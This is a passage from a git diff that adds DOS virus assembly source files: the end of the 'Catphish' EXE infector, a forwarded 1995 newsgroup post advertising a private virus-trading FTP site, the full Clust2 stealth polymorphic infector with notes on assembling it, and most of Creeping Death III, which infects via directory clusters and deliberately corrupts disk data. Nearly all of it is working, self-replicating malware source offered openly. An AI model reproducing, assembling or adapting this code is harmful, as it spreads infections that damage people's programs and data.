bx, word ptr [buffer+8-100h] ; Header size in paragraphs + ; ^---make sure you don't destroy the file handle + mov cl, 4 ; Multiply by 16. Won't + shl bx, cl ; work with headers > 4096 + ; bytes. Oh well! + sub ax, bx ; Subtract header size from + sbb dx, 0 ; file size + ; Now DX:AX is loaded with file size minus header size + mov cx, 10h ; DX:AX/CX = AX Remainder DX + div cx + + + mov word ptr [buffer+14h-100h], dx ; IP Offset + mov word ptr [buffer+16h-100h], ax ; CS Displacement in module + + + mov word ptr [buffer+0Eh-100h], ax ; Paragraph disp. SS + mov word ptr [buffer+10h-100h], 0A000h ; Starting SP + + pop ax + pop dx + + add ax, endcode-start ; add virus size + cmp ax, endcode-start + jb fix_fault + jmp execont + + +war_cry db 'Cry Havoc, and let slip the Dogs of War!',0 +v_name db '[Catphish]',0 ; Virus name. +v_author db 'FirstStrike',0 ; Me. +v_stuff db 'Kraft!',0 + + +fix_fault: + add dx,1d + +execont: + push ax + mov cl, 9 + shr ax, cl + ror dx, cl + stc + + adc dx, ax + pop ax + and ah, 1 + + + mov word ptr [buffer+4-100h], dx ; Fix-up the file size in + mov word ptr [buffer+2-100h], ax ; the EXE header. + + pop bx + retn ; Leave subroutine + +;---------------------------------------------------------------------------- + + +check_if_resident: + push es + xor ax,ax + mov es,ax + + cmp word ptr es:[63h*4],0040h ; Check to see if virus + jnz grab_da_vectors ; is already resident + jmp exit_normal ; by looking for a 40h + ; signature in the int 63h + ; offset section of + ; interrupt table. + +grab_da_vectors: + + mov ax,3521h ; Store original int 21h + int 21h ; vector pointer. + mov word ptr cs:[bp+dos_vector-100h],bx + mov word ptr cs:[bp+dos_vector+2-100h],es + + + +load_high: + push ds + +find_chain: ; Load high routine that + ; uses the DOS internal + mov ah,52h ; table function to find + int 21h ; start of MCB and then + ; scales up chain to + mov ds,es: word ptr [bx-2] ; find top. (The code + assume ds:nothing ; is long, but it is the + ; only code that would + xor si,si ; work when an infected + ; .EXE was to be loaded +Middle_check: ; into memory. + + cmp byte ptr ds:[0],'M' + jne Check4last + +add_one: + mov ax,ds + add ax,ds:[3] + inc ax + + mov ds,ax + jmp Middle_check + +Check4last: + cmp byte ptr ds:[0],'Z' + jne Error + mov byte ptr ds:[0],'M' + sub word ptr ds:[3],(endcode-start+15h)/16h+1 + jmp add_one + +error: + mov byte ptr ds:[0],'Z' + mov word ptr ds:[1],008h + mov word ptr ds:[3],(endcode-start+15h)/16h+1 + + push ds + pop ax + inc ax + push ax + pop es + + + + + +move_virus_loop: + mov bx,offset start-100h ; Move virus into carved + add bx,bp ; out location in memory. + mov cx,endcode-start + push bp + mov bp,0000h + +move_it: + mov dl, byte ptr cs:[bx] + mov byte ptr es:[bp],dl + inc bp + inc bx + loop move_it + pop bp + + + +hook_vectors: + + mov ax,2563h ; Hook the int 21h vector + mov dx,0040h ; which means it will + int 21h ; point to virus code in + ; memory. + mov ax,2521h + mov dx,offset virus_attack-100h + push es + pop ds + int 21h + + + + + pop ds + + + +exit_normal: ; Return control to + pop es ; infected .EXE + mov ax, es ; (Dark Angle code.) + add ax, 10h + add word ptr cs:[bp+OrigCSIP+2-100h], ax + + cli + add ax, word ptr cs:[bp+OrigSSSP+2-100h] + mov ss, ax + mov sp, word ptr cs:[bp+OrigSSSP-100h] + sti + + xor ax,ax + xor bp,bp + +endcrypt label byte + + db 0eah +OrigCSIP dd 0fff00000h +OrigSSSP dd ? + +exe_attrib dw ? +date_stamp dw ? +time_stamp dw ? + + + +dos_vector dd ? + +buffer db 18h dup(?) ; .EXE header buffer. + + + + +;---------------------------------------------------------------------------- + + +virus_attack proc far + assume cs:code,ds:nothing, es:nothing + + + cmp ax,4b00h ; Infect only on file + jz run_kill ; executions. + +leave_virus: + jmp dword ptr cs:[dos_vector-100h] + + + +run_kill: + call infectexe + jmp leave_virus + + + + + +infectexe: ; Same old working horse + push ax ; routine that infects + push bx ; the selected file. + push cx + push es + push dx + push ds + + + + mov cx,64d + mov bx,dx + +findname: + cmp byte ptr ds:[bx],'.' + jz o_k + inc bx + loop findname + +pre_get_out: + jmp get_out + +o_k: + cmp byte ptr ds:[bx+1],'E' ; Searches for victims. + jnz pre_get_out + cmp byte ptr ds:[bx+2],'X' + jnz pre_get_out + cmp byte ptr ds:[bx+3],'E' + jnz pre_get_out + + + + +getexe: + mov ax,4300h + call dosit + + mov word ptr cs:[exe_attrib-100h],cx + + mov ax,4301h + xor cx,cx + call dosit + +exe_kill: + mov ax,3d02h + call dosit + xchg bx,ax + + mov ax,5700h + call dosit + + mov word ptr cs:[time_stamp-100h],cx + mov word ptr cs:[date_stamp-100h],dx + + + + push cs + pop ds + + mov ah,3fh + mov cx,18h + mov dx,offset buffer-100h + call dosit + + cmp word ptr cs:[buffer+12h-100h],1993h ; Looks for virus marker + jnz infectforsure ; of 1993h in .EXE + jmp close_it ; header checksum + ; position. +infectforsure: + call move_f_ptrfar + + push ax + push dx + + + call store_header + + pop dx + pop ax + + call infect_header + + + push bx + push cx + push dx + + + mov bx,offset infect_header-100h + mov cx,(endcrypt)-(infect_header) + +rol_em: ; Encryption via + mov dl,byte ptr cs:[bx] ; rotating left. + rol dl,1 + mov byte ptr cs:[bx],dl + inc bx + loop rol_em + + pop dx + pop cx + pop bx + + mov ah,40h + mov cx,endcode-start + mov dx,offset start-100h + call dosit + + + mov word ptr cs:[buffer+12h-100h],1993h + + + call move_f_ptrclose + + mov ah,40h + mov cx,18h + mov dx,offset buffer-100h + call dosit + + mov ax,5701h + mov cx,word ptr cs:[time_stamp-100h] + mov dx,word ptr cs:[date_stamp-100h] + call dosit + +close_it: + + + mov ah,3eh + call dosit + +get_out: + + + pop ds + pop dx + +set_attrib: + mov ax,4301h + mov cx,word ptr cs:[exe_attrib-100h] + call dosit + + + pop es + pop cx + pop bx + pop ax + + retn + +;---------------------------------- Call to DOS int 21h --------------------- + +dosit: ; DOS function call code. + pushf + call dword ptr cs:[dos_vector-100h] + retn + +;---------------------------------------------------------------------------- + + + + + + + + + + +;-------------------------------- Store Header ----------------------------- + +store_header: + les ax, dword ptr [buffer+14h-100h] ; Save old entry point + mov word ptr [OrigCSIP-100h], ax + mov word ptr [OrigCSIP+2-100h], es + + les ax, dword ptr [buffer+0Eh-100h] ; Save old stack + mov word ptr [OrigSSSP-100h], es + mov word ptr [OrigSSSP+2-100h], ax + + retn + +;--------------------------------------------------------------------------- + + + + + + +;---------------------------------- Set file pointer ------------------------ + +move_f_ptrfar: ; Code to move file pointer. + mov ax,4202h + jmp short move_f + +move_f_ptrclose: + mov ax,4200h + +move_f: + xor dx,dx + xor cx,cx + call dosit + retn + +;---------------------------------------------------------------------------- + + +endcode label byte + +endp + +code ends +end start + +From smtp Fri Jan 27 13:23 EST 1995 +Received: from ids.net by POBOX.jwu.edu; Fri, 27 Jan 95 13:23 EST +Date: Fri, 27 Jan 1995 13:21:38 -0500 (EST) +From: ids.net!JOSHUAW (JOSHUAW) +To: pobox.jwu.edu!joshuaw +Content-Length: 1179 +Content-Type: binary +Message-Id: <950127132138.b52b@ids.net> +Status: RO + +To: joshuaw@pobox.jwu.edu +Subject: (fwd) Private Virii FTP Site +Newsgroups: alt.comp.virus + +Path: paperboy.ids.net!uunet!nntp.crl.com!crl12.crl.com!not-for-mail +From: yojimbo@crl.com (Douglas Mauldin) +Newsgroups: alt.comp.virus +Subject: Private Virii FTP Site +Date: 24 Jan 1995 22:01:53 -0800 +Organization: CRL Dialup Internet Access (415) 705-6060 [Login: guest] +Lines: 14 +Message-ID: <3g4pgh$ka2@crl12.crl.com> +NNTP-Posting-Host: crl12.crl.com +X-Newsreader: TIN [version 1.2 PL2] + +I run THe QUaRaNTiNE, a private FTP site for viral reseachers/coders. I'm +always on the lookout for new viral material. If you'd like access, or +like to trade, email me a list of your collection. + +Serious inquiries only. + + -- - -- - - + Yojimbo [] Fast as the Wind + SysOp: The Dojo BBS Quiet as the Forest + 1.7i3.436.1795 Aggressive as Fire + QUaRaNTiNE HomeSite And + THe ULTiMaTE ViRaL InFeCTiON Immovable as a Mountain + - - + + diff --git a/c/Cclust2.asm b/c/Cclust2.asm new file mode 100755 index 0000000..f088f0c --- /dev/null +++ b/c/Cclust2.asm @@ -0,0 +1,279 @@ +;The Circus Cluster 2 virus is an experiment which TridenT finished after +;the original Cluster virus was published in Crypt 17. The source +;code in its original form is provided now. +; +;Credited to TridenT, Circus Cluster 2 uses some of +;the ideas of the Bulgarian virus known as The Rat. The Rat was deemed +;tricky because it looked for "00" empty space below the header in +;an EXEfile - if it found enough room for itself, it wrote itself out +;to the empty space or "air" in the file. This hid the virus in the +;file, but added no change in file size. This is a nice theme - one +;made famous by the ZeroHunt virus which first did the same with +;.COMfiles. In both cases, the viruses had to be picky about the +;files they infected, limiting their spread. This is still true with +;Circus Cluster 2 - it's an effective virus, but an extremely picky +;one. +; +;First, Circus Cluster 2 will attempt to copy itself into +;the "air" in an EXEfile just below the file header, if there is +;enough room. The most common candidates for infection are standard +;MS/PC-DOS utility programs, like FIND or FC, among others. +; +; +; +;Because Circus Cluster installs its own INT 13 disk hander, it then can +;intercept all attempts to read from files for a quick look. +;For example, looking at a hex dump of a Cluster-infected .EXE, +;with Vern Berg's LIST, will show the files clean. Now, boot +;the system clean and look again. You'll see Cluster in the file's +;"00" space. +; +;Additional notes by Black Wolf & Urnst Kouch +;Crypt Newsletter 22. Circus Cluster 2 can be quickly assembled with +;the A86 shareware assembler. +;---------------------------------------------------------------------- +; +; Clust2 virus by John Tardy / TridenT +; +; Virus Name: Clust2 +; Aliases: Cluster-II, Circus Clusters-II +; V Status: Released +; Discovery: Not (yet) +; Symptoms: .EXE altered, possible "sector not found" errors on disk-drives, +; decrease in aveable memory +; Origin: The Netherlands +; Eff Length: 386 bytes (EXE size doesn't change) +; Type Code: ORhE - Overwriting Resident .EXE Infector +; Detection Method: +; Removal Instructions: Delete infected files or copy infected files with the +; virus resident to a device driven unit. +; +; General Comments: +; The Clust2 virus is not yet submitted to any antiviral authority. It +; is from the TridenT Virus Research Centre and was written by someone +; calling himself John Tardy. When an infected program is started, Clust2 +; will become resident in high memory, but below TOM. It hooks interrupt +; 13h and will try to load the program again. Because of its stealth +; abilities the original program is loaded and will execute normally. +; The Clust2 virus infects files when a write request for interrupt 13h +; is done. It will check if the buffer contains the 'MZ' signature and +; that the candidate file isn't larger than 65000 bytes, and if there are +; enough zeros in the EXE-header. If these conditions are met, Clust2 +; will convert the EXE file to a COM file and inserts its code in the +; buffer, allowing the original write request to proceed. This way it +; evades critical errors. The Clust2 virus is also stealth and can't be +; detected with virus scanners or checksumming software if the virus is +; resident. File-length and date doesn't change regardless if Clust2 +; is resident. It's also a slighty polymorphic virus, mutating a few +; bytes in its decryptor. A wildcarded search string is needed to find it. +; The following text is encrypted within the +; virus: +; +; "[Clust2]" +; "JT / TridenT" +; +; The Clust2 virus will not infect files on device driven units, like drives +; compressed with DoubleSpace. It will disinfect itself on the fly +; when copied to such a device. +; +; Sometimes it will issue a "sector not found" error when a file is +; copied to a disk drive. +; +; The Clust2 virus doesn't do anything beside replicate. +; + ORG 100H + +JUMPIE: JMP SHORT JUMPER + + ORG 180H + +JUMPER: CLC + MOV CX,DECRLEN +MORPH EQU $-2 +JASS: LEA SI,DECR +DECRYPT: XOR BYTE PTR [SI],0 +TRIG EQU $-1 +TRAG EQU $-2 +TROG: INC SI +TREG: LOOP DECRYPT + +DECR: MOV AX,3513H + INT 21H ; return interrupt 13h handler + MOV OLD13,BX ; segment: offset + MOV OLD13[2],ES + MOV AX,ES:[BX] + CMP AX,0FC80H ; compare with virus ID + JE EXIT ; terminate if virus resident + +DOINST: MOV AH,0DH ; empty disk buffers + INT 21H + + MOV AX,CS + DEC AX + MOV DS,AX + CMP BYTE PTR DS:[0],'Z' ; last chain? + JNE EXIT ; if not, terminate +RESIT: SUB WORD PTR DS:[3],VIRPAR+19H ; subtract from MCB size + SUB WORD PTR DS:[12H],VIRPAR+19H ; subtract from + LEA SI,JUMPER ; PSP top of memory + MOV DI,SI + MOV ES,DS:[12H] ; ES = new segment + MOV DS,CS + MOV CX,VIRLEN ; virus length + REP MOVSB ; copy it into memory + + MOV AX,2513H ; + MOV DS,ES + LEA DX,NEW13 ; set interrupt 13h + INT 21H ; into virus + + PUSH CS + POP ES + MOV BX,100H + MOV SP,BX + MOV AH,4AH + INT 21H ; modify memory allocation + PUSH CS + POP DS + MOV BX,DS:[2CH] + MOV ES,BX + MOV AH,49H + INT 21H + + XOR AX,AX + MOV DI,1 +SEEK: DEC DI ; seek for file executed + SCASW ; in environment + JNE SEEK ; located after two 0's + + LEA SI,DS:[DI+2] +EXEC: PUSH BX + PUSH CS + POP DS ; ds = environment segment + MOV BX,OFFSET PARAM + MOV DS:[BX+4],CS + MOV DS:[BX+8],CS + MOV DS:[BX+12],CS + POP DS + PUSH CS + POP ES + + MOV DI,OFFSET FILENAME + PUSH DI + MOV CX,40 + REP MOVSW + PUSH CS + POP DS + + POP DX + + MOV AX,4B00H ; load & execute file + INT 21H +EXIT: MOV AH,4DH ; + INT 21H + MOV AH,4CH + INT 21H + +OLD13 DW 0,0 + +ORG13: JMP D CS:[OLD13] ; jump to old interrupt 13h + +NEW13: CMP AH,3 ; is there a write to the disk? + JE CHECKEXE ; if so, check for infection op. + CMP AH,2 ; is it a disk read? + JNE ORG13 ; if not, to original int 13h +DO: PUSHF + CALL D CS:[OLD13] ; call interrupt 13h + CMP ES:[BX],7EEBH ; is sector infected? + JNE ERROR + MOV ES:[BX],'ZM' ; cover virus ID with 'MZ' + PUSH DI + PUSH CX + PUSH AX + + MOV CX,VIRLEN + XOR AX,AX + LEA DI,BX[80H] ; hash virus from sector when read + REP STOSB + + POP AX + POP CX + POP DI +ERROR: IRET + +CHECKEXE: CMP ES:[BX],'ZM' ; is an .EXEfile being written? + JNE ORG13 ; to original address if not + + CMP W ES:BX[4],(65000/512) ; is .EXEfile too large to + JNB ORG13 ; convert? Compare with value + ; = max size (6500) divided by + ; sector size + PUSH AX + PUSH CX + PUSH SI + PUSH DI + PUSH DS + + PUSH ES + POP DS + LEA SI,BX[80H] ; look in the .EXEfile header + MOV DI,SI + MOV CX,VIRLEN +FIND0: LODSB + OR AL,AL + LOOPE FIND0 ; check if field was hashed to 0's + OR CX,CX ; and exit + JNE NO0 ; if not + + XOR AX,AX + MOV DS,AX + MOV AX,DS:[046CH] + PUSH CS + POP DS + TEST AH,1 + JZ NOLOOPFLIP + XOR B TREG,2 +NOLOOPFLIP: TEST AH,2 + JZ NOCLCFLIP + XOR B JUMPER,1 +NOCLCFLIP: + ADD AX,VIRLEN + SHR AX,1 + MOV W MORPH,AX + MOV B TRIG,AH + XOR B TRAG,1 + XOR B JASS,1 + XOR B TROG,1 + MOV CX,CRYPT + LEA SI,JUMPER + REP MOVSB + MOV CX,DECRLEN + LEA SI,DECR +CODEIT: LODSB + XOR AL,AH + STOSB ; copy virus over 'air' in EXEheader + LOOP CODEIT ; after encrypting + MOV DI,BX + MOV AX,07EEBH ; insert jmp over original 'MZ' + STOSW + +NO0: POP DS + POP DI + POP SI + POP CX + POP AX + JMP ORG13 + + DB '[Clust2]' + +PARAM DW 0,80H,?,5CH,?,6CH,? + + DB 'JT / TridenT' + +FILENAME EQU $ +DECRLEN EQU $-DECR +CRYPT EQU DECR-JUMPER +VIRLEN EQU $-JUMPER +VIRPAR EQU ($-JUMPER)/16 + + diff --git a/c/Cdeath3.asm b/c/Cdeath3.asm new file mode 100755 index 0000000..5ee0718 --- /dev/null +++ b/c/Cdeath3.asm @@ -0,0 +1,631 @@ +;*****************************************************************************; +; ; +; Creeping Death III (Encrypting, try to find it) ; +; ; +; (c) Copyright 1992 by Bit Addict ; +; ; +;*****************************************************************************; + +code segment public 'code' + assume cs:code, ds:code, es:code, ss:code + +;*****************************************************************************; +; ; +; Data ; +; ; +;*****************************************************************************; + + org 5ch ; use the space reserved for + ; the fcbs and command line + ; for more inportant data, + ; because we won't need this + ; data when the virus is + ; installed + +EncryptWrite2: db 36 dup(?) ; Encrypt DoRequest Encrypt + +BPB_Buf db 32 dup(?) ; buffer for BPB + +Request equ this dword ; address of the request header +RequestOffset dw ? +RequestSegment dw ? + + + org 100h ; com-file starts at offset 100 + ; hex + +;*****************************************************************************; +; ; +; Actual start of virus. In this part the virus initializes the stack and ; +; adjusts the device driver used by dos to read and write from floppy's and ; +; hard disks. Then it will start the orginal exe or com-file ; +; ; +;*****************************************************************************; + +Encrypt: mov si,offset Main-1 ; this part of the program + mov cx,400h-11 ; will decode the encoded +Repeat: xor byte ptr [si],0 ; program, so it can be + inc si ; executed + loop Repeat + +Main: mov sp,600h ; init stack + inc word ptr Counter + +;*****************************************************************************; +; ; +; Get dosversion, if the virus is running with dos 4+ then si will be 0 else ; +; si will be -1 ; +; ; +;*****************************************************************************; + +DosVersion: mov ah,30h ; fn 30h = Get Dosversion + int 21h ; int 21h + cmp al,4 ; major dosversion + sbb di,di + mov byte ptr drive[2],-1 ; set 2nd operand of cmp ah,?? + +;*****************************************************************************; +; ; +; Adjust the size of the codesegment, with dos function 4ah ; +; ; +;*****************************************************************************; + + mov bx,60h ; Adjust size of memory block + mov ah,4ah ; to 60 paragraphs = 600h bytes + int 21h ; int 21h + + mov ah,52h ; get internal list of lists + int 21h ; int 21h + +;*****************************************************************************; +; ; +; If the virus code segment is located behind the dos config memory block the ; +; code segment will be part of the config memory block making it 61h ; +; paragraphs larger. If the virus is not located next to the config memory ; +; block the virus will set the owner to 8h (Dos system) ; +; ; +;*****************************************************************************; + + mov ax,es:[bx-2] ; segment of first MCB + mov dx,cs ; dx = MCB of the code segment + dec dx +NextMCB: mov ds,ax ; ax = segment next MCB + add ax,ds:[3] + inc ax + cmp ax,dx ; are they equal ? + jne NextMCB ; no, not 1st program executed + cmp word ptr ds:[1],8 + jne NoBoot + add word ptr ds:[3],61h ; add 61h to size of block +NoBoot: mov ds,dx ; ds = segment of MCB + mov word ptr ds:[1],8 ; owner = dos system + +;*****************************************************************************; +; ; +; The virus will search for the disk paramenter block for drive a: - c: in ; +; order to find the device driver for these block devices. If any of these ; +; blocks is found the virus will install its own device driver and set the ; +; access flag to -1 to tell dos this device hasn't been accesed yet. ; +; ; +;*****************************************************************************; + + cld ; clear direction flag + lds bx,es:[bx] ; get pointer to first drive + ; paramenter block + +Search: cmp bx,-1 ; last block ? + je Last + mov ax,ds:[bx+di+15h] ; get segment of device header + cmp ax,70h ; dos device header ?? + jne Next ; no, go to next device + xchg ax,cx + mov byte ptr ds:[bx+di+18h],-1 ; set access flag to "drive + ; has not been accessed" + mov si,offset Header-4 ; set address of new device + xchg si,ds:[bx+di+13h] ; and save old address + mov ds:[bx+di+15h],cs +Next: lds bx,ds:[bx+di+19h] ; next drive parameter block + jmp Search + +;*****************************************************************************; +; ; +; If the virus has failed in starting the orginal exe-file it will jump here. ; +; ; +;*****************************************************************************; + +Boot: mov ds,ds:[16h] ; es = parent PSP + mov bx,ds:[16h] ; bx = parent PSP of Parent PSP + xor si,si + sub bx,1 ; filename+path available ? + jnb Exec ; yes, execute it + mov ax,cs ; get segment of MCB + dec ax + mov ds,ax + mov cl,8 ; count length of filename + mov si,8 + mov di,0ffh +Count: lodsb + or al,al + loopne Count + not cl + and cl,7 +NextByte: mov si,8 ; search for this name in the + inc di ; parent PSP to find the path + push di ; to this file + push cx + rep cmpsb + pop cx + pop di + jne NextByte +BeginName: dec di ; name found, search for start + cmp byte ptr es:[di-1],0 ; of name+path + jne BeginName + mov si,di + mov bx,es + jmp short Exec ; execute it + +;*****************************************************************************; +; ; +; If none of these devices is found it means the virus is already resident ; +; and the virus wasn't able to start the orginal exe-file (the file is ; +; corrupted by copying it without the virus memory resident). If the device ; +; is found the information in the header is copied. ; +; ; +;*****************************************************************************; + +Last: jcxz Exit + +;*****************************************************************************; +; ; +; The information about the dos device driver is copyed to the virus code ; +; segment ; +; ; +;*****************************************************************************; + + mov ds,cx ; ds = segment of Device Driver + add si,4 + push cs + pop es + mov di,offset Header ; prepare header of the viral + movsw ; device driver and save the + lodsw ; address of the dos strategy + mov es:StrBlock,ax ; and interrupt procedures + mov ax,offset Strategy + stosw + lodsw + mov es:IntBlock,ax + mov ax,offset Interrupt + stosw + movsb + +;*****************************************************************************; +; ; +; Deallocate the environment memory block and start the this file again, but ; +; if the virus succeeds it will start the orginal exe-file. ; +; ; +;*****************************************************************************; + + push cs + pop ds + mov bx,ds:[2ch] ; environment segment + or bx,bx ; environment available ? + jz Boot ; no, computer is rebooted + mov es,bx + mov ah,49h ; deallocate memory + int 21h + xor ax,ax ; end of environment is marked + mov di,1 ; with two zero bytes +Seek: dec di ; scan for end of environment + scasw + jne Seek + lea si,ds:[di+2] ; es:si = start of filename +Exec: push bx + push cs + pop ds + mov bx,offset Param + mov ds:[bx+4],cs ; set segments in EPB + mov ds:[bx+8],cs + mov ds:[bx+12],cs + pop ds + push cs + pop es + + mov di,offset Filename ; copy name of this file + push di + mov cx,40 + rep movsw + push cs + pop ds + + mov ah,3dh ; open file, this file will + mov dx,offset File ; not be found but the entire + int 21h ; directory is searched and + pop dx ; infected + + mov ax,4b00h ; execute file + int 21h +Exit: mov ah,4dh ; get exit-code + int 21h + mov ah,4ch ; terminate (al = exit code) + int 21h + +;*****************************************************************************; +; ; +; Installation complete ; +; ; +;*****************************************************************************; +; ; +; The next part contains the device driver used by creeping death to infect ; +; directory's ; +; ; +; The device driver uses only the strategy routine to handle the requests. ; +; I don't know if this is because the virus will work better or the writer ; +; of this virus didn't know how to do it right. ; +; ; +;*****************************************************************************; + + +Strategy: mov cs:RequestOffset,bx ; store segment and offset of + mov cs:RequestSegment,es ; request block + retf ; return to dos (or whatever + ; called this device driver) + +Interrupt: push ax ; driver strategy block + push bx ; save registers + push cx + push dx + push si + push di + push ds + push es + + les bx,cs:Request ; es:bx = request block + push es ; ds:bx = request block + pop ds + mov al,ds:[bx+2] ; command code + + cmp al,4 ; read sector from disk + je Input + cmp al,8 ; write sector to disk + je Output + cmp al,9 + je Output + + call DoRequest ; let dos do handle the request + + cmp al,2 ; Build BPB + jne Return + lds si,ds:[bx+12h] ; copy the BPB and change it + mov di,offset bpb_buf ; into one that hides the virus + mov es:[bx+12h],di + mov es:[bx+14h],cs + push es ; copy + push cs + pop es + mov cx,16 + rep movsw + pop es + push cs + pop ds + mov al,ds:[di+2-32] ; change + cmp al,2 + adc al,0 + cbw + cmp word ptr ds:[di+8-32],0 ; >32mb partition ? + je m32 ; yes, jump to m32 + sub ds:[di+8-32],ax ; <32mb partition + jmp short Return +m32: sub ds:[di+15h-32],ax ; >32mb partition + sbb word ptr ds:[di+17h-32],0 +Return: pop es ; return to caller + pop ds + pop di + pop si + pop dx + pop cx + pop bx + pop ax + retf + +Output: inc byte ptr cs:Random ; increase counter + jnz Skip ; zero ? + push bx ; yes, change one byte in the + push ds ; sector to write + lds bx,ds:[bx+16h] + inc bh + inc byte ptr ds:[bx] ; destroy some data + pop ds + pop bx +Skip: mov cx,0ff09h + call Check ; check if disk changed + jz Disk ; yes, write virus to disk + jmp InfectSector ; no, just infect sector +Disk: call DoRequest + jmp short InfectDisk + +ReadError: add sp,16 ; error during request + jmp short Return + +Input: call check ; check if disk changed + jnz InfectDisk ; no, read sector + jmp Read +InfectDisk: mov byte ptr ds:[bx+2],4 ; yes, write virus to disk + cld ; save last part of request + lea si,ds:[bx+0eh] + mov cx,8 +Save: lodsw + push ax + loop Save + mov word ptr ds:[bx+14h],1 ; read 1st sector on disk + call ReadSector + jnz ReadError + mov byte ptr ds:[bx+2],2 ; build BPB + call DoRequest + lds si,ds:[bx+12h] ; ds:si = BPB + mov di,ds:[si+6] ; size of root directory + add di,15 ; in sectors + mov cl,4 + shr di,cl + mov al,ds:[si+5] + cbw + mov dx,ds:[si+0bh] + mul dx ; ax=fat sectors, dx=0 + add ax,ds:[si+3] + add di,ax + push di ; save it on stack + mov ax,ds:[si+8] ; total number of sectors + cmp ax,dx ; >32mb + jnz More ; no, skip next 2 instructions + mov ax,ds:[si+15h] ; get number of sectors + mov dx,ds:[si+17h] +More: xor cx,cx ; cx=0 + sub ax,di ; dx:ax=number is data sectors + sbb dx,cx + mov cl,ds:[si+2] ; cx=sectors / cluster + div cx ; number of clusters on disk + cmp cl,2 ; 1 sector/cluster ? + sbb ax,-1 ; number of clusters (+1 or +2) + push ax ; save it on stack + call Convert ; get fat sector and offset in + mov byte ptr es:[bx+2],4 ; sector + mov es:[bx+14h],ax + call ReadSector ; read fat sector + lds si,es:[bx+0eh] + add si,dx + sub dh,cl ; has something to do with the + adc dx,ax ; encryption of the pointers + mov word ptr cs:[gad+1],dx + cmp cl,1 ; 1 sector / cluster + jne Ok + not di ; this is used when the + and ds:[si],di ; clusters are 1 sector long + pop ax ; allocate 1st cluster + push ax + inc ax + push ax + mov dx,0fh + test di,dx + jz Here + inc dx + mul dx +Here: or ds:[si],ax + pop ax + call Convert + mov si,es:[bx+0eh] + add si,dx +Ok: mov ax,ds:[si] ; allocate last cluster + and ax,di + mov dx,di + dec dx + and dx,di + not di + and ds:[si],di + or ds:[si],dx + cmp ax,dx ; cluster already allocated by + pop ax ; the virus ? + pop di + mov word ptr cs:[pointer+1],ax + je DiskInfected ; yes, don't write it and go on + mov dx,ds:[si] + mov byte ptr es:[bx+2],8 ; write the adjusted sector to + call DoRequest ; disk + jnz DiskInfected + mov byte ptr es:[bx+2],4 ; read it again + call ReadSector + cmp ds:[si],dx ; is it written correctly ? + jne DiskInfected ; no, can't infect disk + dec ax + dec ax ; calculate the sector number + mul cx ; to write the virus to + add ax,di + adc dx,0 + push es + pop ds + mov word ptr ds:[bx+12h],2 + mov ds:[bx+14h],ax ; store it in the request hdr + test dx,dx + jz Less + mov word ptr ds:[bx+14h],-1 + mov ds:[bx+1ah],ax + mov ds:[bx+1ch],dx +Less: mov ds:[bx+10h],cs + mov ds:[bx+0eh],100h + mov byte ptr es:[bx+2],8 ; write it + call EncryptWrite1 + +DiskInfected: mov byte ptr ds:[bx+2],4 ; restore this byte + std ; restore other part of the + lea di,ds:[bx+1ch] ; request + mov cx,8 +Load: pop ax + stosw + loop Load +Read: call DoRequest ; do request + + mov cx,9 +InfectSector: mov di,es:[bx+12h] ; get number of sectors read + lds si,es:[bx+0eh] ; get address of data + sal di,cl ; calculate end of buffer + xor cl,cl + add di,si + xor dl,dl + push ds ; infect the sector + push si + call find + jcxz no_inf ; write sector ? + mov al,8 + xchg al,es:[bx+2] ; save command byte + call DoRequest ; write sector + mov es:[bx+2],al ; restore command byte + and byte ptr es:[bx+4],07fh +no_inf: pop si + pop ds + inc dx ; disinfect sector in memory + call find + jmp Return ; return to caller + +;*****************************************************************************; +; ; +; Subroutines ; +; ; +;*****************************************************************************; + +Find: mov ax,ds:[si+8] ; (dis)infect sector in memory + cmp ax,"XE" ; check for .exe + jne com + cmp ds:[si+10],al + je found +Com: cmp ax,"OC" ; check for .com + jne go_on + cmp byte ptr ds:[si+10],"M" + jne go_on +Found: test word ptr ds:[si+1eh],0ffc0h ; file to big + jnz go_on ; more than 4mb + test word ptr ds:[si+1dh],03ff8h ; file to small + jz go_on ; less than 2048 bytes + test byte ptr ds:[si+0bh],1ch ; directory, system or + jnz go_on ; volume label + test dl,dl ; infect or disinfect ? + jnz rest +Pointer: mov ax,1234h ; ax = viral cluster + cmp ax,ds:[si+1ah] ; file already infected ? + je go_on ; yes, go on + xchg ax,ds:[si+1ah] ; exchange pointers +Gad: xor ax,1234h ; encryption + mov ds:[si+14h],ax ; store it on another place + loop go_on ; change cx and go on +Rest: xor ax,ax ; ax = 0 + xchg ax,ds:[si+14h] ; get pointer + xor ax,word ptr cs:[gad+1] ; Encrypt + mov ds:[si+1ah],ax ; store it on the right place +Go_on: rol word ptr cs:[gad+1],1 ; change encryption + add si,32 ; next directory entry + cmp di,si ; end of buffer ? + jne find ; no, do it again + ret ; return + +Check: mov ah,ds:[bx+1] ; get number of unit +Drive: cmp ah,-1 ; same as last call ? + mov byte ptr cs:[drive+2],ah ; set 2nd parameter + jne Changed + push ds:[bx+0eh] ; save word + mov byte ptr ds:[bx+2],1 ; disk changed ? + call DoRequest + cmp byte ptr ds:[bx+0eh],1 ; 1=Yes + pop ds:[bx+0eh] ; restore word + mov ds:[bx+2],al ; restore command +Changed: ret ; return + +ReadSector: mov word ptr es:[bx+12h],1 ; read sector from disk + +DoRequest: db 09ah ; call 70:?, orginal strategy +StrBlock dw ?,70h + db 09ah ; call 70:?, orginal interrupt +IntBlock dw ?,70h + test byte ptr es:[bx+4],80h ; error ? yes, zf = 0 + ret ; return + +Convert: cmp ax,0ff0h ; convert cluster number into + jae Fat16 ; an sector number and offset + mov si,3 ; into this sector containing + xor word ptr cs:[si+gad-1],si ; the fat-item of this + mul si ; cluster + shr ax,1 + mov di,0fffh + jnc Continue + mov di,0fff0h + jmp short Continue +Fat16: mov si,2 + mul si + mov di,0ffffh +Continue: mov si,512 + div si + inc ax + ret + +EncryptWrite1: push ds ; write virus to disk + push cs ; (encrypted) save regs + pop ds + push es + push cs + pop es + cld ; copy forward + mov cx,12 ; length of encryptor + mov si,offset Encrypt ; start of encryptor + mov di,offset EncryptWrite2 ; destenation + inc byte ptr ds:[si+8] ; change xor value + rep movsb ; copy encryptor + mov cl,10 ; copy dorequest proc + mov si,offset DoRequest + rep movsb + mov cl,12 ; copy encryptor + mov si,offset Encrypt + rep movsb + mov ax,0c31fh ; store "pop ds","ret" + stosw ; instructions + pop es ; restore register + jmp EncryptWrite2 ; encrypt and write vir + +;*****************************************************************************; +; ; +; Data ; +; ; +;*****************************************************************************; + +File db "C:",255,0 ; the virus tries to open this + ; file + +Counter dw 0 ; this will count the number of + ; systems that are infected by 